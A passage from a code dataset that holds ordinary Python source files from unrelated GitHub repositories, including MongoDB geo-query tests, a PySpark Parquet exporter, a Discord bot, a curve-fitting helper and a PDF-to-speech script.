clock.tick(5)\n","repo_name":"vanicat/pushme","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"15828275602","text":"from __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import division\nfrom __future__ import absolute_import\n# Standard imports\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import *\nimport unittest\n\n# Our imports\nfrom emission.core import common\nfrom emission.core.get_database import get_test_db\n\nclass TestGeoJSON(unittest.TestCase):\n  def setUp(self):\n    self.Sections=get_test_db()\n\n  def tearDown(self):\n    get_test_db().delete_many({})\n\n  def testGeoWithinPostsData(self):\n    post1 = {\"author\": \"Mike\",\n           \"text\": \"My first blog post!\",\n           \"tags\": [\"mongodb\", \"python\", \"pymongo\"],\n           'loc':{'type':'Point', 'coordinates':[100,32]}}\n    self.Sections.insert_one(post1)\n    post2 = {\"author\": \"hh\",\n           \"text\": \"My 2 blog post!\",\n           \"tags\": [\"mongodb\", \"python\", \"pymongo\"],\n           \"loc\":{'type':'Point', 'coordinates':[200,30]}}\n    self.Sections.insert_one(post2)\n\n    retVal = []\n    for a in self.Sections.find({ \"loc\" : { \"$geoWithin\" : { \"$polygon\" :[ [ 90,31 ],[90,40] ,[ 110,40 ],[110,31]] } } }):\n        retVal.append(a)\n\n    self.assertEqual(len(retVal), 1)\n    self.assertEqual(retVal[0]['text'], \"My first blog post!\")\n    self.assertEqual(retVal[0]['loc']['coordinates'], [100,32])\n\n  def testGeoWithinCounts(self):\n    post1 = {\"author\": \"Mike\",\n           \"text\": \"My first blog post!\",\n           \"tags\": [\"mongodb\", \"python\", \"pymongo\"],\n           'loc':{'type':'Point', 'coordinates':[100,32]}}\n    self.Sections.insert_one(post1)\n    post2 = {\"author\": \"hh\",\n           \"text\": \"My 2 blog post!\",\n           \"tags\": [\"mongodb\", \"python\", \"pymongo\"],\n           \"loc\":{'type':'Point', 'coordinates':[200,30]}}\n    self.Sections.insert_one(post2)\n\n    retVal = []\n    matching_counts = self.Sections.count_documents({ \"loc\" : { \"$geoWithin\" : { \"$polygon\" :[ [ 90,31 ],[90,40] ,[ 110,40 ],[110,31]] } } })\n\n    self.assertEqual(matching_counts, 1)\n\n  def getTestPolygon(self):\n    return [ [ 90.234,-31.0323 ],[95.0343,-45.03453] ,[ 110.02322,-43.3435 ],[100.343423,-33.33423]]\n\n  def testGeoWithOurStructureAndTestPolyFunction(self):\n    sec1 = {'track_location':{'type':'Point', 'coordinates':[100,-40]}}\n    self.Sections.insert_one(sec1)\n\n    retVal = []\n    for a in self.Sections.find({ \"track_location\" : { \"$geoWithin\" : { \"$polygon\" : self.getTestPolygon() } } }):\n        retVal.append(a)\n    self.assertEqual(len(retVal), 1)\n\n  def getTestPolygon2(self):\n    # return [ [30,+50],[30,+100], [60,+100],[60,+50]] # works1\n    # return [ [30,+100],[30,+150], [60,+150],[60,+100]] # fails\n    # return [ [35,+110],[35,+120], [36,+120],[36,+110]] # fails\n    # return [ [30,+50],[30,+100], [60,+100],[60,+50]] # fails\n    # return [ [35,+50],[35,+100], [36,+100],[36,+50]] # works2\n    # return [ [35,+75],[35,+76], [36,+75],[36,+76]] # works3\n    # return [ [35,+85],[35,+86], [36,+85],[36,+86]] # works4\n    # return [ [35,+95],[35,+96], [36,+95],[36,+96]] # fails\n    # return [ [35,+90],[35,+91], [36,+90],[36,+91]] # FAILS\n    # return [ [35,+89],[35,+90], [36,+89],[36,+90]] # WORKS!\n    # return [ [89,35],[89,36], [90,35],[90,36]] # works\n    return [ [90,35],[90,36], [91,35],[91,36]] # works\n\n  def testGeoWithOurStructureAndTestPolyFunction2(self):\n    # pnt = {'type':'Point', 'coordinates': [40, +70]} # works1\n    # pnt = {'type':'Point', 'coordinates': [40, +120]} # fails\n    # pnt = {'type':'Point', 'coordinates': [35.5, +115]} # fails\n    # pnt = {'type':'Point', 'coordinates': [35, +95]} # fails\n    # pnt = {'type':'Point', 'coordinates': [35.5, +75]} # works2\n    # pnt = {'type':'Point', 'coordinates': [35.5, +75.5]} # works2\n    # pnt = {'type':'Point', 'coordinates': [35.5, +85.5]} # works3\n    # pnt = {'type':'Point', 'coordinates': [35.5, +85.5]} # works4\n    # pnt = {'type':'Point', 'coordinates': [35.5, +95.5]} # fails\n    # pnt = {'type':'Point', 'coordinates': [35.5, +90.5]} # fails\n    # pnt = {'type':'Point', 'coordinates': [35.5, +89.5]} # WORKS!\n    # pnt = {'type':'Point', 'coordinates': [89.5, 35.5]} # works\n    pnt = {'type':'Point', 'coordinates': [90.5, 35.5]} # works\n    sec1 = {'track_location': pnt}\n    self.Sections.insert_one(sec1)\n\n    retVal = []\n    for a in self.Sections.find({ \"track_location\" : { \"$geoWithin\" : { \"$polygon\" : self.getTestPolygon2() } } }):\n        retVal.append(a)\n\n    self.assertEqual(len(retVal), 1)\n\n  def getTestNegPolygon(self):\n    return [ [-90,35],[-90,36],\n             [-91,35],[-91,36]] # works\n    # return [[-123,36],[-123,38],\n    #         [-122,36],[-122,38]]\n\n  def testGeoWithNegativeValues(self):\n    test = {'track_location': {'type':'Point', 'coordinates': [-90.5,35.5]} }\n    self.Sections.insert_one(test)\n\n    retVal = []\n    for a in self.Sections.find({ \"track_location\" : { \"$geoWithin\" : { \"$polygon\" : self.getTestNegPolygon() } } }):\n        retVal.append(a)\n        print(\"Found match for %s\" % a)\n\n    self.assertEqual(len(retVal), 1)\n\n  def getTestNegPolygon(self):\n#     return [[-122,36],[-122,38], # FAILS\n#             [-123,36],[-123,38]]\n    return [[-122,37],[-122,38],   # WORKS\n            [-123,38],[-123,37]]\n\n  def testGeoWithNegativeValues(self):\n    test = {'track_location': {'type':'Point', 'coordinates': [-122.5,37.5]} }\n    self.Sections.insert_one(test)\n\n    retVal = []\n    for a in self.Sections.find({ \"track_location\" : { \"$geoWithin\" : { \"$polygon\" : self.getTestNegPolygon() } } }):\n        retVal.append(a)\n        print(\"Found match for %s\" % a)\n\n    self.assertEqual(len(retVal), 1)\n\n  def getRealBerkeleyPolygon(self):\n    return [[-122,37],[-122,38],\n            [-123,38],[-123,37]]\n\n  def testGeoWithOurStructureAndRealPolyFunction(self):\n    test = {'track_location': {'type':'Point', 'coordinates': [-122.5, 37.5]} }\n    self.Sections.insert_one(test)\n\n    library = {'track_location': {'type':'Point', 'coordinates': [-122.259475, 37.872370]} }\n    self.Sections.insert_one(library)\n\n    mclaughlin = {'track_location': {'type':'Point', 'coordinates': [-122.259169, 37.873873]} }\n    self.Sections.insert_one(mclaughlin)\n\n    soda = {'track_location': {'type':'Point', 'coordinates': [-122.258740, 37.875711]} }\n    self.Sections.insert_one(soda)\n\n    wurster = {'track_location': {'type':'Point', 'coordinates': [-122.254577, 37.870352]} }\n    self.Sections.insert_one(wurster)\n\n    retVal = []\n    for a in self.Sections.find({ \"track_location\" : { \"$geoWithin\" : { \"$polygon\" : self.getTestNegPolygon() } } }):\n        retVal.append(a)\n        print(\"Found match for %s\" % a)\n\n    self.assertEqual(len(retVal), 5)\n\n    retVal = []\n    for a in self.Sections.find({ \"track_location\" : { \"$geoWithin\" : { \"$polygon\" : self.getRealBerkeleyPolygon() } } }):\n        retVal.append(a)\n        print(\"Found match for %s\" % a)\n\n    self.assertEqual(len(retVal), 5)\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"e-mission/e-mission-server","sub_path":"emission/tests/storageTests/TestMongoGeoJSONQueries.py","file_name":"TestMongoGeoJSONQueries.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"36"}
{"seq_id":"27888113293","text":"import pygame\nimport os\nfrom constants import WIDTH, HEIGHT\n\n# Sprite dimensions\nSPRITE_HEIGHT = 128\nSPRITE_WIDTH = 128\n\nSPRITE_SPAWN_X = WIDTH // 2 - SPRITE_WIDTH // 2\nSPRITE_SPAWN_Y = HEIGHT // 2 - SPRITE_HEIGHT // 2\n\n# Players\n# Character sprite sheet\ncharacter_sprite_sheet = pygame.image.load(os.path.join(\"Assets\", \"Characters\", \"character_spritesheet.png\"))\n\n# Player\ndef get_player_surface(direction):\n    if direction == \"up\":\n        return pygame.transform.scale(character_sprite_sheet.subsurface(0, 48, 32, 32), (SPRITE_HEIGHT, SPRITE_WIDTH))\n    elif direction == \"down\":\n        return pygame.transform.scale(character_sprite_sheet.subsurface(0, 0, 32, 32), (SPRITE_HEIGHT, SPRITE_WIDTH))\n    elif direction == \"left\":\n        return pygame.transform.scale(character_sprite_sheet.subsurface(0, 96, 32, 32), (SPRITE_HEIGHT, SPRITE_WIDTH))\n    elif direction == \"right\":\n        return pygame.transform.scale(character_sprite_sheet.subsurface(0, 144, 32, 32), (SPRITE_HEIGHT, SPRITE_WIDTH))\n\n# Player rect\nplayer1_rect = pygame.Rect(SPRITE_SPAWN_X, SPRITE_SPAWN_Y, SPRITE_WIDTH, SPRITE_HEIGHT)","repo_name":"AndresPaulino/pygame_tut","sub_path":"character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"8634486620","text":"import sys\nimport os\nimport shutil\n\nfrom pyspark.sql.types import *\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.types import *\n\n\ndef process_list_to_df(spark, csv_file, my_schema):\n    \"\"\"\"\n    :param spark: sparksession\n    :param csv_file: data as csv file\n    :param schema: schema\n    :return:\n    \"\"\"\n    data_df = spark.read.csv(csv_file, header=True, schema=my_schema)\n    return data_df\n\n\ndef save_df_to_format(file_df, exp_format=\"parquet\", save_path=\"./mnm_dataset.pq\"):\n    \"\"\"\"\n    :param file_df: input dataframe\n    :param exp_format: output format\n    :param save_path: destination\n    :return: None\n    \"\"\"\n    file_df.write.format(exp_format).save(save_path)\n    print(f\"saved to the format : {exp_format} and @ : {save_path}\")\n\n\nif __name__ == '__main__':\n    # schema definition\n    my_file = sys.argv[1]\n    my_schema = StructType([\n        StructField(\"State\", IntegerType(), False),\n        StructField(\"Color\", StringType(), False),\n        StructField(\"Count\", IntegerType(), False),\n        ])\n\n    spark = (SparkSession\n             .builder\n             .appName(\"exo5\").getOrCreate())\n\n    authors_df = process_list_to_df(spark, my_file, my_schema)\n    out = \"output.pq\"\n    if os.path.exists(out):\n        shutil.rmtree(out)\n    # save csv file to parquet format (it includes data format)\n    save_df_to_format(authors_df, exp_format=\"parquet\", save_path=out)\n\n","repo_name":"shaikhzhas/datajam.ai","sub_path":"spark101/exo5.py","file_name":"exo5.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"7176433922","text":"import abc\nimport mypy\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport networkx as nx\nfrom dualGPy import Utils as ut\nclass Graph(abc.ABC):\n    \"\"\"Base class for the Graph2D and Graph3D representation.\n     WARNING! 2D and 3D are considered from a geometric point of\n     view:\n\n     mesh : dualGPy mesh representation\n    \"\"\"\n    def __init__(self, mesh):\n     self.mesh = mesh\n     self.graph={}\n     self.nx_graph = nx.Graph(self.mesh.connectivity)\n     self.edges = []\n     self.vertex = [0]\n     self.weight = []\n\n    @abc.abstractmethod\n    def get_CSR(self):\n     raise NotImplementedError\n\n    def adj_to_csr(self):\n     \"\"\"Parsing the adjacency matrix in numpy in a CSR (Compressed Sparse Row) representation\n     Parameters:\n\n     adj : Adjacency matrix\n\n     \"\"\"\n     # the CSR representation is built starting from the definition, hence\n     # we cycle over the adjacency matrix, we identify the non zero entry\n     # and finally we fill the vertex vector with the position where we find the\n     # non zero elements in the edges vector. We hence fill the edges vector at the same\n     # way\n     # numpy adjacency matrix\n     adj = nx.to_numpy_array(self.nx_graph, nodelist=range(len(self.mesh.cells)))\n     non_zero = np.count_nonzero(adj,axis=1)\n     for i,e in enumerate(adj[:,1]):\n       print(i)\n       self.vertex.append(np.sum(non_zero[:i]))\n       for j,f in enumerate(adj[i,:]):\n           if adj[i,j]!=0:\n            self.edges.append(j)\n     self.vertex.append(np.sum(np.count_nonzero(adj)))\n\n\nclass Graph2D(Graph):\n    def __init__(self, mesh):\n        super().__init__(mesh)\n\n    def get_CSR(self):\n     edges = []\n     vertex = []\n     somma = 0\n     # Initialize the keys of the graph dictionary\n     # cycle on the points\n     for key in self.mesh.connectivity:\n        self.edges.extend(self.mesh.connectivity[key])\n        somma += len(self.mesh.connectivity[key])\n        self.vertex.append(somma)\n\n\n\n    def draw_graph(self, string, mesh = None):\n     \"\"\"Draw the mesh and the graph.\nParameters:\n* string: str\n  Name of the file in which the graph will be printed\n* mesh: dualGPy mesh, default: None\n  mesh whose graph will be drawn. If None, the mesh used to set up the graph is used\n\"\"\"\n     m = self.mesh if mesh is None else mesh\n     plt.figure()\n     ### cycle on the elements\n     for elemento in m.cells:\n      ### cycle on the point of the elements\n         for i in range(len(elemento)):\n       ## # plot the grid\n          x_value = [m.mesh.points[elemento[i-1],0],m.mesh.points[elemento[i],0]]\n          y_value = [m.mesh.points[elemento[i-1],1],m.mesh.points[elemento[i],1]]\n          plt.plot(x_value,y_value,c='r')\n     ##draw the adjacency graph\n     nx.draw(self.nx_graph,pos=m.centers,with_labels = True)\n     plt.savefig(string)\n\n","repo_name":"albiremo/dualGPy","sub_path":"dualGPy/Graph.py","file_name":"Graph.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"24057330016","text":"\nfrom h2o_wave import Q, main, app, ui\nimport pandas as pd\n\n\ndef ui_table_from_df(\n        df: pd.DataFrame,\n        name: str = 'table',\n        sortables: list = None,\n        filterables: list = None,\n        searchables: list = None,\n        min_widths: dict = None,\n        max_widths: dict = None,\n        multiple: bool = False,\n        groupable: bool = False,\n        downloadable: bool = False,\n        link_col: str = None,\n        height: str = '100%') -> ui.table:\n\n    \"\"\" pandas.DataFrameを表示形式（ui.table）に変換\n    \"\"\"\n\n    #print(df.head())\n\n    if not sortables:\n        sortables = []\n    if not filterables:\n        filterables = []\n    if not searchables:\n        searchables = []\n    if not min_widths:\n        min_widths = {}\n    if not max_widths:\n        max_widths = {}\n\n    columns = [ui.table_column(\n        name=str(x),\n        label=str(x),\n        sortable=True if x in sortables else False,\n        filterable=True if x in filterables else False,\n        searchable=True if x in searchables else False,\n        min_width=min_widths[x] if x in min_widths.keys() else None,\n        max_width=max_widths[x] if x in max_widths.keys() else None,\n        link=True if x == link_col else False\n    ) for x in df.columns.values]\n\n    try:\n        table = ui.table(\n            name=name,\n            columns=columns,\n            rows=[\n                ui.table_row(\n                    name=str(i),\n                    cells=[str(df[col].values[i]) for col in df.columns.values]\n                ) for i in range(df.shape[0])\n            ],\n            multiple=multiple,\n            groupable=groupable,\n            downloadable=downloadable,\n            height=height\n        )\n    except Exception:\n        print(Exception)\n        table = ui.table(\n            name=name,\n            columns=[ui.table_column('x', 'x')],\n            rows=[ui.table_row(name='ndf', cells=[str('No data found')])]\n        )\n\n    return table\n\n\n\n","repo_name":"yukismd/H2O_Wave_GradCam_app","sub_path":"wave_app/custom_utils.py","file_name":"custom_utils.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"38223276213","text":"\"\"\"\nGiven code to output\n\"\"\"\n\n\ndef running_chicken(word):\n    sentence = f'the running chicken was {word} into oblivion'\n    return sentence\n\n\ndef bruh_moment(word):\n    sentence = f'{word}, that was a bruh moment'\n    return sentence\n\n\"\"\"\n4.1 homework\n\"\"\"\nfahrenheit_temp = eval(input('input temperature in fahrenheit:'))\n\n\ndef f_to_c(f):\n    c = 5/9 * (f - 32)\n    return c\n\n\"\"\"\n4.4 homework\n\"\"\"\n\"\"\"\nTemperature data\n----------------\nFahrenheit degrees: 67.2\n\"\"\"\n\n\ndata_array = open('filename.txt', 'r')\ndata_contents = data_array.readlines()\ndata_array.close()\n\nf_value = int(data_contents[2].split()[2])\n\nprint(f'{f_to_c(f_value)}')","repo_name":"UW-ParksidePhysics/scientific-programming-PeterK-UWP","sub_path":"SI_Coding_Folder/functions_2_28_23.py","file_name":"functions_2_28_23.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"28986445573","text":"# coding: utf-8\n\n\"\"\"\n    Yapily API\n\n    To access endpoints that require authentication, use your application key and secret created in the Dashboard (https://dashboard.yapily.com)  # noqa: E501\n\n    The version of the OpenAPI document: 0.0.358\n    Generated by: https://openapi-generator.tech\n\"\"\"\n\n\nfrom __future__ import absolute_import\n\nimport unittest\nimport datetime\n\nimport yapily\nfrom yapily.models.resource import Resource  # noqa: E501\nfrom yapily.rest import ApiException\n\nclass TestResource(unittest.TestCase):\n    \"\"\"Resource unit test stubs\"\"\"\n\n    def setUp(self):\n        pass\n\n    def tearDown(self):\n        pass\n\n    def make_instance(self, include_optional):\n        \"\"\"Test Resource\n            include_option is a boolean, when False only required\n            params are included, when True both required and\n            optional params are included \"\"\"\n        # model = yapily.models.resource.Resource()  # noqa: E501\n        if include_optional :\n            return Resource(\n                description = '0', \n                file = null, \n                filename = '0', \n                input_stream = None, \n                open = True, \n                readable = True, \n                uri = yapily.models.uri.URI(\n                    absolute = True, \n                    authority = '0', \n                    fragment = '0', \n                    host = '0', \n                    opaque = True, \n                    path = '0', \n                    port = 56, \n                    query = '0', \n                    raw_authority = '0', \n                    raw_fragment = '0', \n                    raw_path = '0', \n                    raw_query = '0', \n                    raw_scheme_specific_part = '0', \n                    raw_user_info = '0', \n                    scheme = '0', \n                    scheme_specific_part = '0', \n                    user_info = '0', ), \n                url = yapily.models.url.URL(\n                    authority = '0', \n                    content = yapily.models.content.content(), \n                    default_port = 56, \n                    file = '0', \n                    host = '0', \n                    path = '0', \n                    port = 56, \n                    protocol = '0', \n                    query = '0', \n                    ref = '0', \n                    user_info = '0', )\n            )\n        else :\n            return Resource(\n        )\n\n    def testResource(self):\n        \"\"\"Test Resource\"\"\"\n        inst_req_only = self.make_instance(include_optional=False)\n        inst_req_and_optional = self.make_instance(include_optional=True)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"alexdicodi/yapily-sdk-python","sub_path":"sdk/test/test_resource.py","file_name":"test_resource.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"}
{"seq_id":"21885136028","text":"\"\"\"\nDatabase manipulation commands\n\"\"\"\n\nimport click\nfrom brewblox_ctl import click_helpers\nfrom brewblox_ctl import migration, utils\n\n\n@click.group(cls=click_helpers.OrderedGroup)\ndef cli():\n    \"\"\"Command collector\"\"\"\n\n\n@cli.group()\ndef database():\n    \"\"\"Database migration commands.\"\"\"\n\n\n@database.command()\ndef from_couchdb():\n    \"\"\"Migrate configuration data from CouchDB to Redis.\n\n    In the 2020/09/22 release (config version 0.6.0)\n    Redis replaced CouchDB as configuration database.\n\n    This command copies the configuration data from CouchDB to Redis.\n\n    \\b\n    Steps:\n        - Create CouchdDB container.\n        - Fetch data from CouchDB.\n        - Write data to Redis.\n    \"\"\"\n    utils.check_config()\n    utils.confirm_mode()\n    migration.migrate_couchdb()\n\n\n@database.command()\n@click.option('--target',\n              default='victoria',\n              help='Where to store exported data',\n              type=click.Choice(['victoria', 'file']))\n@click.option('--duration',\n              default='',\n              prompt='From how far back do you want to migrate data? (eg. 1d, 30d, 1y). '\n              'Leave empty to migrate everything.',\n              help='Period of exported data. Example: 30d')\n@click.option('--offset',\n              multiple=True, nargs=2, type=click.Tuple([str, int]),\n              default=[],\n              help='Start given service(s) with an offset. Useful for resuming exports. '\n              'Example: [--offset spark-one 10000 --offset spark-two 5000]')\n@click.argument('services', nargs=-1)\ndef from_influxdb(target, duration, offset, services):\n    \"\"\"Migrate history data from InfluxDB to Victoria Metrics or file.\n\n    In config version 0.7.0 Victoria Metrics replaced InfluxDB as history database.\n\n    This command exports the history data from InfluxDB,\n    and then either immediately imports it to Victoria Metrics, or saves it to file.\n\n    By default, all services are migrated.\n    You can override this by listing the services you want to migrate.\n\n    When writing data to file, files are stored in the ./influxdb-export/ directory.\n\n    \\b\n    Steps:\n        - Create InfluxDB container.\n        - Get list of services from InfluxDB. (Optional)\n        - Read data from InfluxDB.\n        - Write data to Victoria Metrics.     (Optional)\n        - OR: write data to file.             (Optional)\n    \"\"\"\n    utils.check_config()\n    utils.confirm_mode()\n    migration.migrate_influxdb(target, duration, list(services), list(offset))\n","repo_name":"BrewBlox/brewblox-ctl","sub_path":"brewblox_ctl/commands/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"}
{"seq_id":"17883478575","text":"# 使用curve_fit\nimport re\nfrom typing import Tuple\n\nimport numpy as np\nfrom scipy.optimize import curve_fit\nfrom numpy import sin, cos, tan, arcsin, arccos, arctan\nfrom numpy import cosh, tanh, sinh\nfrom numpy import sinc\nfrom numpy import exp, exp2, floor, ceil, power, mod\npredefined_functions = {\n    'linear': {\n        'vars': 'a,b',\n        'function': 'a*x+b'\n        },\n    'sqrt': {\n        'vars': 'a,b,c',\n        'function': 'a*x**2+b*x+c'\n        },\n    'cubic': {\n        'vars': 'a,b,c,d',\n        'function': 'a*x**3+b*x**2+c*x**1+d'\n        },\n    'customized': {\n        'vars': '',\n        'function': ''\n        }\n    }\n\n\ndef check_identifiers(argsStr, funcStr) -> Tuple[bool, str]:\n    identifiers_in_def = re.split(r'[;,:\\./ \\\\!&\\|\\*\\+\\s\\(\\)\\{\\}\\[\\]0~9]', argsStr)\n    func_identifiers = re.split(r'[;,:\\./ \\\\!&\\|\\*\\+\\s\\(\\)\\{\\}\\[\\]0~9]', funcStr)\n    print(identifiers_in_def)\n    print(func_identifiers)\n    identifiers_in_def = list(filter(lambda s: (not s == '') and (s.isidentifier()), identifiers_in_def))\n    func_identifiers = list(filter(lambda s: (not s == '') and (s.isidentifier()), func_identifiers))\n\n    identifiers_in_func_set = set(func_identifiers)\n    identifiers_in_def_set = set(identifiers_in_def)\n\n    for identifier in func_identifiers:\n        if (not identifier\n            in identifiers_in_def_set) and (globals().get(identifier) is None) and (identifier not in ['x', 'y', 'z']):\n            print('Identifier \\'%s\\' is not defined!' % identifier)\n            return False, 'Identifier \\'%s\\' is not defined!' % identifier\n\n    for identifier in identifiers_in_def:\n        if not identifier in identifiers_in_func_set:\n            print('Unused Identifier \\'%s\\'' % identifier)\n            return False, 'Unused Identifier \\'%s\\'' % identifier\n\n    print('checking alright!')\n    return True, ''\n\n\ndef fit(x, y, argsStr='a,b,c,d', funcstr='a * x ** 3 + b * x ** 2 + c * x + d'):\n    # 非线性最小二乘法拟合\n\n    st = \"\"\"\ndef func(x, %s):\n    return %s\n    \"\"\" % (argsStr, funcstr)\n    exec(st, globals())\n    popt, pcov = curve_fit(func, x, y)\n    # 获取popt里面是拟合系数\n    xvals = np.linspace(np.min(x), np.max(x), 100)\n    yvals = func(xvals, *popt)\n    print(yvals)\n    # 拟合，将数组作为函数的参数进行传入。\n    return popt, pcov, xvals, yvals\n\n\ndef loadVariables():\n    return {}\n    import novalmber\n    path = novalmber.getUserDataPath(debug=False)  # 通过网络直接远程获取。\n    a = __file__.split('apps')[0]\n\n    import os\n    import pickle\n    path = os.path.join(path, 'pluginfiles/scientificshell')\n    print(path)\n    varDic = {}\n\n    dirList = os.listdir(path)\n    print(dirList)\n    for file in dirList:\n        if file.endswith('.pkl'):\n            sl = file.split('.')\n\n            try:\n                f = open(os.path.join(path, file), 'rb')\n                name = sl[0]\n                varDic[name] = pickle.load(f)\n                f.close()\n            except:\n                import traceback\n                traceback.print_exc()\n    print(varDic)\n    return varDic\n\n\nif __name__ == '__main__':\n    check_identifiers('a,b,c,d,e', 'a+b+c/(c**8)')\n    check_identifiers('a,b,c', 'a+b+c/(c**8)')\n    check_identifiers('a,b,c', 'sin(a)+b+c/(c**8)')\n    check_identifiers('a,b,c', 'a+b+c1/(c**8)')\n","repo_name":"pyminer/pyminer","sub_path":"pyminer/packages/applications_toolbar/apps/cftool/algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"36"}
{"seq_id":"16408228781","text":"import discord\nimport logging\n_LOG = logging.getLogger(__name__)\n\nfrom gtts import gTTS\nfrom doosbot.const import BUFFER_TTS\n\n\n\nclass DoosBotClient(discord.Client):\n\n\t_volume_level = 0.5\n\t_active_media = None\n\n\tasync def on_ready(self):\n\t\t_LOG.info(f\"Connected to Discord with identity { self.user }\")\n\n\tasync def on_message(self, message: discord.message.Message):\n\t\t_LOG.info(f\"MESSAGE { message.author.display_name }→{self.user.display_name}: { message.content }\")\n\t\n\tdef get_voice_client(self, channel) -> discord.VoiceClient:\n\t\tvoice_client: discord.VoiceClient = None\n\t\tfor voice_client in self.voice_clients:\n\t\t\tif voice_client.channel == channel:\n\t\t\t\tbreak\n\t\t\n\t\treturn voice_client\n\n\tasync def play_file(self, file_name, channel: discord.VoiceChannel, loop: bool = False):\n\t\tvoice_client = self.get_voice_client(channel)\n\t\tif voice_client == None:\n\t\t\tvoice_client = await channel.connect()\n\t\tvoice_client.stop()\n\n\t\tif loop:\n\t\t\tmedia = discord.FFmpegPCMAudio(file_name, before_options=\"-stream_loop -1\")\n\t\telse: \n\t\t\tmedia = discord.FFmpegPCMAudio(file_name)\n\t\tmedia_volume = discord.PCMVolumeTransformer(media, self._volume_level)\n\t\tself._active_media = media_volume\n\t\tvoice_client.play(media_volume)\n\t\n\tasync def play_tts(self, text, channel: discord.VoiceChannel):\n\t\tgTTS(text, lang=\"nl\").save(BUFFER_TTS)\n\t\tawait self.play_file(BUFFER_TTS, channel)\n\n\tasync def set_volume(self, volume):\n\t\tself._volume_level = volume\n\t\tif self._active_media != None:\n\t\t\tself._active_media.volume = self._volume_level\n\n\t\n\t\t","repo_name":"PimDoos/DoosBotPy","sub_path":"doosbot/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"75092953382","text":"from iot_devices.host import get_class\nfrom iot_devices.device import Device\n\ndata = {\n    \"type\": \"DemoDevice\"\n}\n\n\n# Get the class that would be able to construct a matching device given the data\ndev_cls = get_class(data)\n\n# DemoDevice makes a subdevice with the name \"subdevice\".\n# We will add some configuration.\n\n# Note config keys must strictly be strings\nsubdevice_config={\n    \"subdevice\":{\n        \"device.fixed_number_multiplier\": \"10000000\"\n    }\n}\n\n# We pass a function that takes a name and returns config for that subdevice\n# Only use for very simple cases, prefer doing the config right in create_subdevice in a wrapped class\ndef f(device_name, *a,**k):\n    return subdevice_config.get(device_name, {})\n\n\n#Since subdevices are dynamic we want to be notified.\n\ndef wrap(c):\n    class Wrapped(c):\n        def create_subdevice(self, cls, *a,**k):\n\n            # Customize the subdevice class with the same host integrations\n            wrap(cls)\n\n            sd = Device.create_subdevice(self,cls, *a, **k)\n            print(\"Subdevice \"+ sd.title + \" was created\")\n            return sd\n\n    return Wrapped\n\n\n# Wrapping is how the host customizes classes to integrate with host features\nwrapped = wrap(dev_cls)\n\n# Make an instance of that device\ndevice = wrapped(\"Random Device\", data, subdevice_config=f)\n\n#One of the values this class exposes\nprint(device.datapoints['random'])\n\n# This is an on-demand getter\nprint(device.request_data_point('dyn_random'))\n\n#Now let's look at the subdevice\nprint(device.subdevices['subdevice'].datapoints['random'])","repo_name":"EternityForest/iot_devices","sub_path":"host_demo.py","file_name":"host_demo.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"}
{"seq_id":"2725917853","text":"import pdfplumber, pyttsx3\n\n## works with English text only\n\nwith pdfplumber.PDF(open(file=f'task_a.pdf', mode='rb')) as pdf:\n    pages = [page.extract_text() for page in pdf.pages]\n\ntext = ''.join(pages)\ntext = text.replace('\\n', '')\n\nspeaker = pyttsx3.init()\nspeaker.save_to_file(text, 'task_a.mp3')\nspeaker.runAndWait()\nspeaker.stop()","repo_name":"zastasja/automate_stuff","sub_path":"pdf_to_mp3.py","file_name":"pdf_to_mp3.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"18036133386","text":"from typing import Any, Union, Tuple, Optional, Mapping, Dict, cast\n\nimport numpy as np\n\nfrom bag.simulation.core import TestbenchManager\nfrom bag.simulation.cache import SimulationDB, DesignInstance, SimResults, MeasureResult\nfrom bag.simulation.measure import MeasurementManager, MeasInfo\nfrom bag.util.math import Calculator\n\nfrom bag3_testbenches.measurement.dc.base import DCTB\n\n\nclass DriverPullUpDownMM(MeasurementManager):\n    default_gate_bias = dict(pu='full', pd='full')\n\n    def __init__(self, *args: Any, **kwargs: Any) -> None:\n        self._tbm_info: Optional[Tuple[DCTB, Mapping[str, Any]]] = None\n        self._mos_mapping = {}\n\n        super().__init__(*args, **kwargs)\n\n    def initialize(self, sim_db: SimulationDB, dut: DesignInstance) -> Tuple[bool, MeasInfo]:\n        specs = self.specs\n        vdd = specs['vdd']\n        v_offset_map = specs['v_offset_map']\n\n        gate_bias = self.default_gate_bias.copy()\n        if 'gate_bias' in specs:\n            gate_bias.update(specs['gate_bias'])\n\n        specs['stack_pu'] = dut.sch_master.params['stack_p']\n        